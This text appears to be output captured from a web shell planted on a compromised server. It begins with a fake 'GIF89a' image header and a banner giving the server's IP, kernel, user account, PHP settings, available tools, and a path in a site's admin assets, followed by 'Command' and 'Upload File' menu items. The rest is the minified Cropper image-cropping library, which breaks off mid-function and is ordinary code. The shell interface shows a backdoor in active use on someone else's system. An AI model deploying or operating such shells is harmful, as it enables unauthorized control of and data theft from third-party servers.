GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.116.14.12 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../web/admin/global_assets/js/plugins/media/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
/*! * Cropper v3.1.4 * https://github.com/fengyuanchen/cropper * * Copyright (c) 2014-2018 Chen Fengyuan * Released under the MIT license * * Date: 2018-01-13T09:37:52.890Z */ !function(t,i){"object"==typeof exports&&"undefined"!=typeof module?i(require("jquery")):"function"==typeof define&&define.amd?define(["jquery"],i):i(t.jQuery)}(this,function(t){"use strict";t=t&&t.hasOwnProperty("default")?t.default:t;var i="undefined"!=typeof window?window:{},e="cropper",a=e+"-crop",n=e+"-disabled",o=e+"-hidden",h=e+"-hide",s=e+"-modal",r=e+"-move",d="action",l="preview",c="crop",p="cropend",m="cropmove",g="cropstart",u=i.PointerEvent?"pointerdown":"touchstart mousedown",f=i.PointerEvent?"pointermove":"touchmove mousemove",v=i.PointerEvent?"pointerup pointercancel":"touchend touchcancel mouseup",w="wheel mousewheel DOMMouseScroll",x=/^(e|w|s|n|se|sw|ne|nw|all|crop|move|zoom)$/,b=/^data:/,y=/^data:image\/jpeg;base64,/,C=/^(img|canvas)$/i,M={viewMode:0,dragMode:"crop",aspectRatio:NaN,data:null,preview:"",responsive:!0,restore:!0,checkCrossOrigin:!0,checkOrientation:!0,modal:!0,guides:!0,center:!0,highlight:!0,background:!0,autoCrop:!0,autoCropArea:.8,movable:!0,rotatable:!0,scalable:!0,zoomable:!0,zoomOnTouch:!0,zoomOnWheel:!0,wheelZoomRatio:.1,cropBoxMovable:!0,cropBoxResizable:!0,toggleDragModeOnDblclick:!0,minCanvasWidth:0,minCanvasHeight:0,minCropBoxWidth:0,minCropBoxHeight:0,minContainerWidth:200,minContainerHeight:100,ready:null,cropstart:null,cropmove:null,cropend:null,crop:null,zoom:null},$=function(t,i){if(!(t instanceof i))throw new TypeError("Cannot call a class as a function")},B=function(){function t(t,i){for(var e=0;e<i.length;e++){var a=i[e];a.enumerable=a.enumerable||!1,a.configurable=!0,"value"in a&&(a.writable=!0),Object.defineProperty(t,a.key,a)}}return function(i,e,a){return e&&t(i.prototype,e),a&&t(i,a),i}}(),k=function(t){if(Array.isArray(t)){for(var i=0,e=Array(t.length);i<t.length;i++)e[i]=t[i];return e}return Array.from(t)};var W=Number.isNaN||i.isNaN;function D(t){return"number"==typeof t&&!W(t)}function T(t){return void 0===t}function H(t,i){for(var e=arguments.length,a=Array(e>2?e-2:0),n=2;n<e;n++)a[n-2]=arguments[n];return function(){for(var e=arguments.length,n=Array(e),o=0;o<e;o++)n[o]=arguments[o];return t.apply(i,a.concat(n))}}var Y=Object.keys||function(i){var e=[];return t.each(i,function(t){e.push(t)}),e},X=/\.\d*(?:0|9){12}\d*$/i;function z(t){var i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1e11;return X.test(t)?Math.round(t*i)/i:t}var O=i.location,E=/^(https?:)\/\/([^:/?#]+):?(\d*)/i;function N(t){var i=t.match(E);return i&&(i[1]!==O.protocol||i[2]!==O.hostname||i[3]!==O.port)}function R(t){var i="timestamp="+(new Date).getTime();return t+(-1===t.indexOf("?")?"?":"&")+i}function L(t){var i=t.rotate,e=t.scaleX,a=t.scaleY,n=t.translateX,o=t.translateY,h=[];return D(n)&&0!==n&&h.push("translateX("+n+"px)"),D(o)&&0!==o&&h.push("translateY("+o+"px)"),D(i)&&0!==i&&h.push("rotate("+i+"deg)"),D(e)&&1!==e&&h.push("scaleX("+e+")"),D(a)&&1!==a&&h.push("scaleY("+a+")"),h.length?h.join(" "):"none"}var P=i.navigator,I=P&&/(Macintosh|iPhone|iPod|iPad).*AppleWebKit/i.test(P.userAgent);function U(i,e){var a=i.pageX,n=i.pageY,o={endX:a,endY:n};return e?o:t.extend({startX:a,startY:n},o)}var A=Number.isFinite||i.isFinite;function F(t){var i=t.aspectRatio,e=t.height,a=t.width,n=function(t){return A(t)&&t>0};return n(a)&&n(e)?e*i>a?e=a/i:a=e*i:n(a)?e=a/i:n(e)&&(a=e*i),{width:a,height:e}}var j=String.fromCharCode;var S=/^data:.*,/;function q(t){var i=new DataView(t),e=void 0,a=void 0,n=void 0,o=void 0;if(255===i.getUint8(0)&&216===i.getUint8(1))for(var h=i.byteLength,s=2;s<h;){if(255===i.getUint8(s)&&225===i.getUint8(s+1)){n=s;break}s+=1}if(n){var r=n+10;if("Exif"===function(t,i,e){var a="",n=void 0;for(e+=i,n=i;n<e;n+=1)a+=j(t.getUint8(n));return a}(i,n+4,4)){var d=i.getUint16(r);if(((a=18761===d)||19789===d)&&42===i.getUint16(r+2,a)){var l=i.getUint32(r+4,a);l>=8&&(o=r+l)}}}if(o){var c=i.getUint16(o,a),p=void 0,m=void 0;for(m=0;m<c;m+=1)if(p=o+12*m+2,274===i.getUint16(p,a)){p+=8,e=i.getUint16(p,a),i.setUint16(p,1,a);break}}return e}var Q={render:function(){this.initContainer(),this.initCanvas(),this.initCropBox(),this.renderCanvas(),this.cropped&&this.renderCropBox()},initContainer:function(){var t=this.$element,i=this.options,e=this.$container,a=this.$cropper;a.addClass(o),t.removeClass(o),a.css(this.container={width:Math.max(e.width(),Number(i.minContainerWidth)||200),height:Math.max(e.height(),Number(i.minContainerHeight)||100)}),t.addClass(o),a.removeClass(o)},initCanvas:function(){var i=this.container,e=this.image,a=this.options.viewMode,n=Math.abs(e.rotate)%180==90,o=n?e.naturalHeight:e.naturalWidth,h=n?e.naturalWidth:e.naturalHeight,s=o/h,r=i.width,d=i.height;i.height*s>i.width?3===a?r=i.height*s:d=i.width/s:3===a?d=i.width/s:r=i.height*s;var l={aspectRatio:s,naturalWidth:o,naturalHeight:h,width:r,height:d};l.left=(i.width-r)/2,l.top=(i.height-d)/2,l.oldLeft=l.left,l.oldTop=l.top,this.canvas=l,this.limited=1===a||2===a,this.limitCanvas(!0,!0),this.initialImage=t.extend({},e),this.initialCanvas=t.extend({},l)},limitCanvas:function(t,i){var e=this.options,a=this.container,n=this.canvas,o=this.cropBox,h=e.viewMode,s=n.aspectRatio,r=this.cropped&&o;if(t){var d=Number(e.minCanvasWidth)||0,l=Number(e.minCanvasHeight)||0;h>0&&(h>1?(d=Math.max(d,a.width),l=Math.max(l,a.height),3===h&&(l*s>d?d=l*s:l=d/s)):d?d=Math.max(d,r?o.width:0):l?l=Math.max(l,r?o.height:0):r&&(d=o.width,(l=o.height)*s>d?d=l*s:l=d/s));var c=F({aspectRatio:s,width:d,height:l});d=c.width,l=c.height,n.minWidth=d,n.minHeight=l,n.maxWidth=1/0,n.maxHeight=1/0}if(i)if(h>0){var p=a.width-n.width,m=a.height-n.height;n.minLeft=Math.min(0,p),n.minTop=Math.min(0,m),n.maxLeft=Math.max(0,p),n.maxTop=Math.max(0,m),r&&this.limited&&(n.minLeft=Math.min(o.left,o.left+o.width-n.width),n.minTop=Math.min(o.top,o.top+o.height-n.height),n.maxLeft=o.left,n.maxTop=o.top,2===h&&(n.width>=a.width&&(n.minLeft=Math.min(0,p),n.maxLeft=Math.max(0,p)),n.height>=a.height&&(n.minTop=Math.min(0,m),n.maxTop=Math.max(0,m))))}else n.minLeft=-n.width,n.minTop=-n.height,n.maxLeft=a.width,n.maxTop=a.height},renderCanvas:function(t,i){var e=this.canvas,a=this.image;if(i){var n=function(t){var i=t.width,e=t.height,a=t.degree;if(90==(a=Math.abs(a)%180))return{width:e,height:i};var n=a%90*Math.PI/180,o=Math.sin(n),h=Math.cos(n),s=i*h+e*o,r=i*o+e*h;return a>90?{width:r,height:s}:{width:s,height:r}}({width:a.naturalWidth*Math.abs(a.scaleX||1),height:a.naturalHeight*Math.abs(a.scaleY||1),degree:a.rotate||0}),o=n.width,h=n.height,s=e.width*(o/e.naturalWidth),r=e.height*(h/e.naturalHeight);e.left-=(s-e.width)/2,e.top-=(r-e.height)/2,e.width=s,e.height=r,e.aspectRatio=o/h,e.naturalWidth=o,e.naturalHeight=h,this.limitCanvas(!0,!1)}(e.width>e.maxWidth||e.width<e.minWidth)&&(e.left=e.oldLeft),(e.height>e.maxHeight||e.height<e.minHeight)&&(e.top=e.oldTop),e.width=Math.min(Math.max(e.width,e.minWidth),e.maxWidth),e.height=Math.min(Math.max(e.height,e.minHeight),e.maxHeight),this.limitCanvas(!1,!0),e.left=Math.min(Math.max(e.left,e.minLeft),e.maxLeft),e.top=Math.min(Math.max(e.top,e.minTop),e.maxTop),e.oldLeft=e.left,e.oldTop=e.top,this.$canvas.css({width:e.width,height:e.height,transform:L({translateX:e.left,translateY:e.top})}),this.renderImage(t),this.cropped&&this.limited&&this.limitCropBox(!0,!0)},renderImage:function(i){var e=this.canvas,a=this.image,n=a.naturalWidth*(e.width/e.naturalWidth),o=a.naturalHeight*(e.height/e.naturalHeight);t.extend(a,{width:n,height:o,left:(e.width-n)/2,top:(e.height-o)/2}),this.$clone.css({width:a.width,height:a.height,transform:L(t.extend({translateX:a.left,translateY:a.top},a))}),i&&this.output()},initCropBox:function(){var i=this.options,e=this.canvas,a=i.aspectRatio,n=Number(i.autoCropArea)||.8,o={width:e.width,height:e.height};a&&(e.height*a>e.width?o.height=o.width/a:o.width=o.height*a),this.cropBox=o,this.limitCropBox(!0,!0),o.width=Math.min(Math.max(o.width,o.minWidth),o.maxWidth),o.height=Math.min(Math.max(o.height,o.minHeight),o.maxHeight),o.width=Math.max(o.minWidth,o.width*n),o.height=Math.max(o.minHeight,o.height*n),o.left=e.left+(e.width-o.width)/2,o.top=e.top+(e.height-o.height)/2,o.oldLeft=o.left,o.oldTop=o.top,this.initialCropBox=t.extend({},o)},limitCropBox:function(t,i){var e=this.options,a=this.container,n=this.canvas,o=this.cropBox,h=this.limited,s=e.aspectRatio;if(t){var r=Number(e.minCropBoxWidth)||0,d=Number(e.minCropBoxHeight)||0,l=Math.min(a.width,h?n.width:a.width),c=Math.min(a.height,h?n.height:a.height);r=Math.min(r,a.width),d=Math.min(d,a.height),s&&(r&&d?d*s>r?d=r/s:r=d*s:r?d=r/s:d&&(r=d*s),c*s>l?c=l/s:l=c*s),o.minWidth=Math.min(r,l),o.minHeight=Math.min(d,c),o.maxWidth=l,o.maxHeight=c}i&&(h?(o.minLeft=Math.max(0,n.left),o.minTop=Math.max(0,n.top),o.maxLeft=Math.min(a.width,n.left+n.width)-o.width,o.maxTop=Math.min(a.height,n.top+n.height)-o.height):(o.minLeft=0,o.minTop=0,o.maxLeft=a.width-o.width,o.maxTop=a.height-o.height))},renderCropBox:function(){var t=this.options,i=this.container,e=this.cropBox;(e.width>e.maxWidth||e.width<e.minWidth)&&(e.left=e.oldLeft),(e.height>e.maxHeight||e.height<e.minHeight)&&(e.top=e.oldTop),e.width=Math.min(Math.max(e.width,e.minWidth),e.maxWidth),e.height=Math.min(Math.max(e.height,e.minHeight),e.maxHeight),this.limitCropBox(!1,!0),e.left=Math.min(Math.max(e.left,e.minLeft),e.maxLeft),e.top=Math.min(Math.max(e.top,e.minTop),e.maxTop),e.oldLeft=e.left,e.oldTop=e.top,t.movable&&t.cropBoxMovable&&this.$face.data(d,e.width>=i.width&&e.height>=i.height?"move":"all"),this.$cropBox.css({width:e.width,height:e.height,transform:L({translateX:e.left,translateY:e.top})}),this.cropped&&this.limited&&this.limitCanvas(!0,!0),this.disabled||this.output()},output:function(){this.preview(),this.completed&&this.trigger(c,this.getData())}},K={initPreview:function(){var i=this.crossOrigin,e=i?this.crossOriginUrl:this.url,a=document.createElement("img");i&&(a.crossOrigin=i),a.src=e;var n=t(a);this.$preview=t(this.options.preview),this.$clone2=n,this.$viewBox.html(n),this.$preview.each(function(a,n){var o=t(n),h=document.createElement("img");o.data(l,{width:o.width(),height:o.height(),html:o.html()}),i&&(h.crossOrigin=i),h.src=e,h.style.cssText='display:block;width:100%;height:auto;min-width:0!important;min-height:0!important;max-width:none!important;max-height:none!important;image-orientation:0deg!important;"',o.html(h)})},resetPreview:function(){this.$preview.each(function(i,e){var a=t(e),n=a.data(l);a.css({width:n.width,height:n.height}).html(n.html).removeData(l)})},preview:function(){var i=this.image,e=this.canvas,a=this.cropBox,n=a.width,o=a.height,h=i.width,s=i.height,r=a.left-e.left-i.left,d=a.top-e.top-i.top;this.cropped&&!this.disabled&&(this.$clone2.css({width:h,height:s,transform:L(t.extend({translateX:-r,translateY:-d},i))}),this.$preview.each(function(e,a){var c=t(a),p=c.data(l),m=p.width,g=p.height,u=m,f=g,v=1;n&&(f=o*(v=m/n)),o&&f>g&&(u=n*(v=g/o),f=g),c.css({width:u,height:f}).find("img").css({width:h*v,height:s*v,transform:L(t.extend({translateX:-r*v,translateY:-d*v},i))})}))}},Z={bind:function(){var i=this.$element,e=this.options,a=this.$cropper;t.isFunction(e.cropstart)&&i.on(g,e.cropstart),t.isFunction(e.cropmove)&&i.on(m,e.cropmove),t.isFunction(e.cropend)&&i.on(p,e.cropend),t.isFunction(e.crop)&&i.on(c,e.crop),t.isFunction(e.zoom)&&i.on("zoom",e.zoom),a.on(u,H(this.cropStart,this)),e.zoomable&&e.zoomOnWheel&&a.on(w,H(this.wheel,this)),e.toggleDragModeOnDblclick&&a.on("dblclick",H(this.dblclick,this)),t(this.element.ownerDocument).on(f,this.onCropMove=H(this.cropMove,this)).on(v,this.onCropEnd=H(this.cropEnd,this)),e.responsive&&t(window).on("resize",this.onResize=H(this.resize,this))},unbind:function(){var i=this.$element,e=this.options,a=this.$cropper;t.isFunction(e.cropstart)&&i.off(g,e.cropstart),t.isFunction(e.cropmove)&&i.off(m,e.cropmove),t.isFunction(e.cropend)&&i.off(p,e.cropend),t.isFunction(e.crop)&&i.off(c,e.crop),t.isFunction(e.zoom)&&i.off("zoom",e.zoom),a.off(u,this.cropStart),e.zoomable&&e.zoomOnWheel&&a.off(w,this.wheel),e.toggleDragModeOnDblclick&&a.off("dblclick",this.dblclick),t(this.element.ownerDocument).off(f,this.onCropMove).off(v,this.onCropEnd),e.responsive&&t(window).off("resize",this.onResize)}},V={resize:function(){var i=this.options,e=this.$container,a=this.container,n=Number(i.minContainerWidth)||200,o=Number(i.minContainerHeight)||100;if(!(this.disabled||a.width<=n||a.height<=o)){var h=e.width()/a.width;if(1!==h||e.height()!==a.height){var s=void 0,r=void 0;i.restore&&(s=this.getCanvasData(),r=this.getCropBoxData()),this.render(),i.restore&&(this.setCanvasData(t.each(s,function(t,i){s[t]=i*h})),this.setCropBoxData(t.each(r,function(t,i){r[t]=i*h})))}}},dblclick:function(){this.disabled||"none"===this.options.dragMode||this.setDragMode(this.$dragBox.hasClass(a)?"move":"crop")},wheel:function(t){var i=this,e=t.originalEvent||t,a=Number(this.options.wheelZoomRatio)||.1;if(!this.disabled&&(t.preventDefault(),!this.wheeling)){this.wheeling=!0,setTimeout(function(){i.wheeling=!1},50);var n=1;e.deltaY?n=e.deltaY>0?1:-1:e.wheelDelta?n=-e.wheelDelta/120:e.detail&&(n=e.detail>0?1:-1),this.zoom(-n*a,t)}},cropStart:function(i){if(!this.disabled){var e=this.options,a=this.pointers,n=i.originalEvent,o=void 0;n&&n.changedTouches?t.each(n.changedTouches,function(t,i){a[i.identifier]=U(i)}):a[n&&n.pointerId||0]=U(n||i),o=Y(a).length>1&&e.zoomable&&e.zoomOnTouch?"zoom":t(i.target).data(d),x.test(o)&&(this.trigger(g,{originalEvent:n,action:o}).isDefaultPrevented()||(i.preventDefault(),this.action=o,this.cropping=!1,"crop"===o&&(this.cropping=!0,this.$dragBox.addClass(s))))}},cropMove:function(i){var e=this.action;if(!this.disabled&&e){var a=this.pointers,n=i.originalEvent;i.preventDefault(),this.trigger(m,{originalEvent:n,action:e}).isDefaultPrevented()||(n&&n.changedTouches?t.each(n.changedTouches,function(i,e){t.extend(a[e.identifier],U(e,!0))}):t.extend(a[n&&n.pointerId||0],U(n||i,!0)),this.change(i))}},cropEnd:function(i){if(!this.disabled){var e=this.action,a=this.pointers,n=i.originalEvent;n&&n.changedTouches?t.each(n.changedTouches,function(t,i){delete a[i.identifier]}):delete a[n&&n.pointerId||0],e&&(i.preventDefault(),Y(a).length||(this.action=""),this.cropping&&(this.cropping=!1,this.$dragBox.toggleClass(s,this.cropped&&this.options.modal)),this.trigger(p,{originalEvent:n,action:e}))}}},G={change:function(i){var e=this.options,a=this.pointers,n=this.container,h=this.canvas,s=this.cropBox,r=this.action,d=e.aspectRatio,l=s.left,c=s.top,p=s.width,m=s.height,g=l+p,u=c+m,f=0,v=0,w=n.width,x=n.height,b=!0,y=void 0;!d&&i.shiftKey&&(d=p&&m?p/m:1),this.limited&&(f=s.minLeft,v=s.minTop,w=f+Math.min(n.width,h.width,h.left+h.width),x=v+Math.min(n.height,h.height,h.top+h.height));var C,M,$,B=a[Y(a)[0]],k={x:B.endX-B.startX,y:B.endY-B.startY},W=function(t){switch(t){case"e":g+k.x>w&&(k.x=w-g);break;case"w":l+k.x<f&&(k.x=f-l);break;case"n":c+k.y<v&&(k.y=v-c);break;case"s":u+k.y>x&&(k.y=x-u)}};switch(r){case"all":l+=k.x,c+=k.y;break;case"e":if(k.x>=0&&(g>=w||d&&(c<=v||u>=x))){b=!1;break}W("e"),p+=k.x,d&&(m=p/d,c-=k.x/d/2),p<0&&(r="w",p=0);break;case"n":if(k.y<=0&&(c<=v||d&&(l<=f||g>=w))){b=!1;break}W("n"),m-=k.y,c+=k.y,d&&(p=m*d,l+=k.y*d/2),m<0&&(r="s",m=0);break;case"w":if(k.x<=0&&(l<=f||d&&(c<=v||u>=x))){b=!1;break}W("w"),p-=k.x,l+=k.x,d&&(m=p/d,c+=k.x/d/2),p<0&&(r="e",p=0);break;case"s":if(k.y>=0&&(u>=x||d&&(l<=f||g>=w))){b=!1;break}W("s"),m+=k.y,d&&(p=m*d,l-=k.y*d/2),m<0&&(r="n",m=0);break;case"ne":if(d){if(k.y<=0&&(c<=v||g>=w)){b=!1;break}W("n"),m-=k.y,c+=k.y,p=m*d}else W("n"),W("e"),k.x>=0?g<w?p+=k.x:k.y<=0&&c<=v&&(b=!1):p+=k.x,k.y<=0?c>v&&(m-=k.y,c+=k.y):(m-=k.y,c+=k.y);p<0&&m<0?(r="sw",m=0,p=0):p<0?(r="nw",p=0):m<0&&(r="se",m=0);break;case"nw":if(d){if(k.y<=0&&(c<=v||l<=f)){b=!1;break}W("n"),m-=k.y,c+=k.y,p=m*d,l+=k.y*d}else W("n"),W("w"),k.x<=0?l>f?(p-=k.x,l+=k.x):k.y<=0&&c<=v&&(b=!1):(p-=k.x,l+=k.x),k.y<=0?c>v&&(m-=k.y,c+=k.y):(m-=k.y,c+=k.y);p<0&&m<0?(r="se",m=0,p=0):p<0?(r="ne",p=0):m<0&&(r="sw",m=0);break;case"sw":if(d){if(k.x<=0&&(l<=f||u>=x)){b=!1;break}W("w"),p-=k.x,l+=k.x,m=p/d}else W("s"),W("w"),k.x<=0?l>f?(p-=k.x,l+=k.x):k.y>=0&&u>=x&&(b=!1):(p-=k.x,l+=k.x),k.y>=0?u<x&&(m+=k.y):m+=k.y;p<0&&m<0?(r="ne",m=0,p=0):p<0?(r="se",p=0):m<0&&(r="nw",m=0);break;case"se":if(d){if(k.x>=0&&(g>=w||u>=x)){b=!1;break}W("e"),m=(p+=k.x)/d}else W("s"),W("e"),k.x>=0?g<w?p+=k.x:k.y>=0&&u>=x&&(b=!1):p+=k.x,k.y>=0?u<x&&(m+=k.y):m+=k.y;p<0&&m<0?(r="nw",m=0,p=0):p<0?(r="sw",p=0):m<0&&(r="ne",m=0);break;case"move":this.move(k.x,k.y),b=!1;break;case"zoom":this.zoom((C=a,M=t.extend({},C),$=[],t.each(C,function(i,e){delete M[i],t.each(M,function(t,i){var a=Math.abs(e.startX-i.startX),n=Math.abs(e.startY-i.startY),o=Math.abs(e.endX-i.endX),h=Math.abs(e.endY-i.endY),s=Math.sqrt(a*a+n*n),r=(Math.sqrt(o*o+h*h)-s)/s;$.push(r)})}),$.sort(function(t,i){return Math.abs(t)<Math.abs(i)}),$[0]),i.originalEvent),b=!1;break;case"crop":if(!k.x||!k.y){b=!1;break}y=this.$cropper.offset(),l=B.startX-y.left,c=B.startY-y.top,p=s.minWidth,m=s.minHeight,k.x>0?r=k.y>0?"se":"ne":k.x<0&&(l-=p,r=k.y>0?"sw":"nw"),k.y<0&&(c-=m),this.cropped||(this.$cropBox.removeClass(o),this.cropped=!0,this.limited&&this.limitCropBox(!0,!0))}b&&(s.width=p,s.height=m,s.left=l,s.top=c,this.action=r,this.renderCropBox()),t.each(a,function(t,i){i.startX=i.endX,i.startY=i.endY})}},J={crop:function(){this.ready&&!this.disabled&&(this.cropped||(this.cropped=!0,this.limitCropBox(!0,!0),this.options.modal&&this.$dragBox.addClass(s),this.$cropBox.removeClass(o)),this.setCropBoxData(this.initialCropBox))},reset:function(){this.ready&&!this.disabled&&(this.image=t.extend({},this.initialImage),this.canvas=t.extend({},this.initialCanvas),this.cropBox=t.extend({},this.initialCropBox),this.renderCanvas(),this.cropped&&this.renderCropBox())},clear:function(){this.cropped&&!this.disabled&&(t.extend(this.cropBox,{left:0,top:0,width:0,height:0}),this.cropped=!1,this.renderCropBox(),this.limitCanvas(!0,!0),this.renderCanvas(),this.$dragBox.removeClass(s),this.$cropBox.addClass(o))},replace:function(t,i){!this.disabled&&t&&(this.isImg&&this.$element.attr("src",t),i?(this.url=t,this.$clone.attr("src",t),this.ready&&this.$preview.find("img").add(this.$clone2).attr("src",t)):(this.isImg&&(this.replaced=!0),this.options.data=null,this.load(t)))},enable:function(){this.ready&&(this.disabled=!1,this.$cropper.removeClass(n))},disable:function(){this.ready&&(this.disabled=!0,this.$cropper.addClass(n))},destroy:function(){var t=this.$element;this.loaded?(this.isImg&&this.replaced&&t.attr("src",this.originalUrl),this.unbuild(),t.removeClass(o)):this.isImg?t.off("load",this.start):this.$clone&&this.$clone.remove(),t.removeData(e)},move:function(t,i){var e=this.canvas,a=e.left,n=e.top;this.moveTo(T(t)?t:a+Number(t),T(i)?i:n+Number(i))},moveTo:function(t,i){var e=this.canvas,a=!1;T(i)&&(i=t),t=Number(t),i=Number(i),this.ready&&!this.disabled&&this.options.movable&&(D(t)&&(e.left=t,a=!0),D(i)&&(e.top=i,a=!0),a&&this.renderCanvas(!0))},zoom:function(t,i){var e=this.canvas;t=(t=Number(t))<0?1/(1-t):1+t,this.zoomTo(e.width*t/e.naturalWidth,i)},zoomTo:function(i,e){var a,n,o,h,s=this.options,r=this.pointers,d=this.canvas,l=d.width,c=d.height,p=d.naturalWidth,m=d.naturalHeight;if((i=Number(i))>=0&&this.ready&&!this.disabled&&s.zoomable){var g=p*i,u=m*i,f=void 0;if(e&&(f=e.originalEvent),this.trigger("zoom",{originalEvent:f,oldRatio:l/p,ratio:g/p}).isDefaultPrevented())return;if(f){var v=this.$cropper.offset(),w=r&&Y(r).length?(a=r,n=0,o=0,h=0,t.each(a,function(t,i){var e=i.startX,a=i.startY;n+=e,o+=a,h+=1}),{pageX:n/=h,pageY:o/=h}):{pageX:e.pageX||f.pageX||0,pageY:e.pageY||f.pageY||0};d.left-=(g-l)*((w.pageX-v.left-d.left)/l),d.top-=(u-c)*((w.pageY-v.top-d.top)/c)}else d.left-=(g-l)/2,d.top-=(u-c)/2;d.width=g,d.height=u,this.renderCanvas(!0)}},rotate:function(t){this.rotateTo((this.image.rotate||0)+Number(t))},rotateTo:function(t){D(t=Number(t))&&this.ready&&!this.disabled&&this.options.rotatable&&(this.image.rotate=t%360,this.renderCanvas(!0,!0))},scaleX:function(t){var i=this.image.scaleY;this.scale(t,D(i)?i:1)},scaleY:function(t){var i=this.image.scaleX;this.scale(D(i)?i:1,t)},scale:function(t){var i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:t,e=this.image,a=!1;t=Number(t),i=Number(i),this.ready&&!this.disabled&&this.options.scalable&&(D(t)&&(e.scaleX=t,a=!0),D(i)&&(e.scaleY=i,a=!0),a&&this.renderCanvas(!0,!0))},getData:function(){var i=arguments.length>0&&void 0!==arguments[0]&&arguments[0],e=this.options,a=this.image,n=this.canvas,o=this.cropBox,h=void 0;if(this.ready&&this.cropped){h={x:o.left-n.left,y:o.top-n.top,width:o.width,height:o.height};var s=a.width/a.naturalWidth;t.each(h,function(t,e){e/=s,h[t]=i?Math.round(e):e})}else h={x:0,y:0,width:0,height:0};return e.rotatable&&(h.rotate=a.rotate||0),e.scalable&&(h.scaleX=a.scaleX||1,h.scaleY=a.scaleY||1),h},setData:function(i){var e=this.options,a=this.image,n=this.canvas,o={};if(t.isFunction(i)&&(i=i.call(this.element)),this.ready&&!this.disabled&&t.isPlainObject(i)){var h=!1;e.rotatable&&D(i.rotate)&&i.rotate!==a.rotate&&(a.rotate=i.rotate,h=!0),e.scalable&&(D(i.scaleX)&&i.scaleX!==a.scaleX&&(a.scaleX=i.scaleX,h=!0),D(i.scaleY)&&i.scaleY!==a.scaleY&&(a.scaleY=i.scaleY,h=!0)),h&&this.renderCanvas(!0,!0);var s=a.width/a.naturalWidth;D(i.x)&&(o.left=i.x*s+n.left),D(i.y)&&(o.top=i.y*s+n.top),D(i.width)&&(o.width=i.width*s),D(i.height)&&(o.height=i.height*s),this.setCropBoxData(o)}},getContainerData:function(){return this.ready?t.extend({},this.container):{}},getImageData:function(){return this.loaded?t.extend({},this.image):{}},getCanvasData:function(){var i=this.canvas,e={};return this.ready&&t.each(["left","top","width","height","naturalWidth","naturalHeight"],function(t,a){e[a]=i[a]}),e},setCanvasData:function(i){var e=this.canvas,a=e.aspectRatio;t.isFunction(i)&&(i=i.call(this.$element)),this.ready&&!this.disabled&&t.isPlainObject(i)&&(D(i.left)&&(e.left=i.left),D(i.top)&&(e.top=i.top),D(i.width)?(e.width=i.width,e.height=i.width/a):D(i.height)&&(e.height=i.height,e.width=i.height*a),this.renderCanvas(!0))},getCropBoxData:function(){var t=this.cropBox;return this.ready&&this.cropped?{left:t.left,top:t.top,width:t.width,height:t.height}:{}},setCropBoxData:function(i){var e=this.cropBox,a=this.options.aspectRatio,n=void 0,o=void 0;t.isFunction(i)&&(i=i.call(this.$element)),this.ready&&this.cropped&&!this.disabled&&t.isPlainObject(i)&&(D(i.left)&&(e.left=i.left),D(i.top)&&(e.top=i.top),D(i.width)&&i.width!==e.width&&(n=!0,e.width=i.width),D(i.height)&&i.height!==e.height&&(o=!0,e.height=i.height),a&&(n?e.height=e.width/a:o&&(e.width=e.height*a)),this.renderCropBox())},getCroppedCanvas:function(){var i=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};if(!this.ready||!window.HTMLCanvasElement)return null;var e,a,n,o,h,s,r,d,l,c,p,m,g,u,f,v,w,x,b,y,C,M,$,B,W,D,T,H,Y,X,O,E,N,R,L,P,I=this.canvas,U=(e=this.$clone[0],a=this.image,n=I,o=i,h=a.naturalWidth,s=a.naturalHeight,r=a.rotate,d=void 0===r?0:r,l=a.scaleX,c=void 0===l?1:l,p=a.scaleY,m=void 0===p?1:p,g=n.aspectRatio,u=n.naturalWidth,f=n.naturalHeight,v=o.fillColor,w=void 0===v?"transparent":v,x=o.imageSmoothingEnabled,b=void 0===x||x,y=o.imageSmoothingQuality,C=void 0===y?"low":y,M=o.maxWidth,$=void 0===M?1/0:M,B=o.maxHeight,W=void 0===B?1/0:B,D=o.minWidth,T=void 0===D?0:D,H=o.minHeight,Y=void 0===H?0:H,X=F({aspectRatio:g,width:$,height:W}),O=F({aspectRatio:g,width:T,height:Y}),E=Math.min(X.width,Math.max(O.width,u)),N=Math.min(X.height,Math.max(O.height,f)),R=document.createElement("canvas"),L=R.getContext("2d"),P=[-h/2,-s/2,h,s],R.width=z(E),R.height=z(N),L.fillStyle=w,L.fillRect(0,0,E,N),L.save(),L.translate(E/2,N/2),L.rotate(d*Math.PI/180),L.scale(c,m),L.imageSmoothingEnabled=!!b,L.imageSmoothingQuality=C,L.drawImage.apply(L,[e].concat(k(t.map(P,function(t){return Math.floor(z(t))})))),L.restore(),R);if(!this.cropped)return U;var A=this.getData(),j=A.x,S=A.y,q=A.width,Q=A.height,K=q/Q,Z=F({aspectRatio:K,width:i.maxWidth||1/0,height:i.maxHeight||1/0}),V=F({aspectRatio:K,width:i.minWidth||0,height:i.minHeight||0}),G=F({aspectRatio:K,width:i.width||q,height:i.height||Q}),J=G.width,_=G.height;J=Math.min(Z.width,Math.max(V.width,J)),_=Math.min(Z.height,Math.max(V.height,_));var tt=document.createElement("canvas"),it=tt.getContext("2d");tt.width=z(J),tt.height=z(_),it.fillStyle=i.fillColor||"transparent",it.fillRect(0,0,J,_);var et=i.imageSmoothingEnabled,at=void 0===et||et,nt=i.imageSmoothingQuality;it.imageSmoothingEnabled=at,nt&&(it.imageSmoothingQuality=nt);var ot=U.width,ht=U.height,st=j,rt=S,dt=void 0,lt=void 0,ct=void 0,pt=void 0,mt=void 0,gt=void 0;st<=-q||st>ot?(st=0,dt=0,ct=0,mt=0):st<=0?(ct=-st,st=0,mt=dt=Math.min(ot,q+st)):st<=ot&&(ct=0,mt=dt=Math.min(q,ot-st)),dt<=0||rt<=-Q||rt>ht?(rt=0,lt=0,pt=0,gt=0):rt<=0?(pt=-rt,rt=0,gt=lt=Math.min(ht,Q+rt)):rt<=ht&&(pt=0,gt=lt=Math.min(Q,ht-rt));var ut=[st,rt,dt,lt];if(mt>0&>>0){var ft=J/q;ut.push(ct*ft,pt*ft,mt*ft,gt*ft)}return 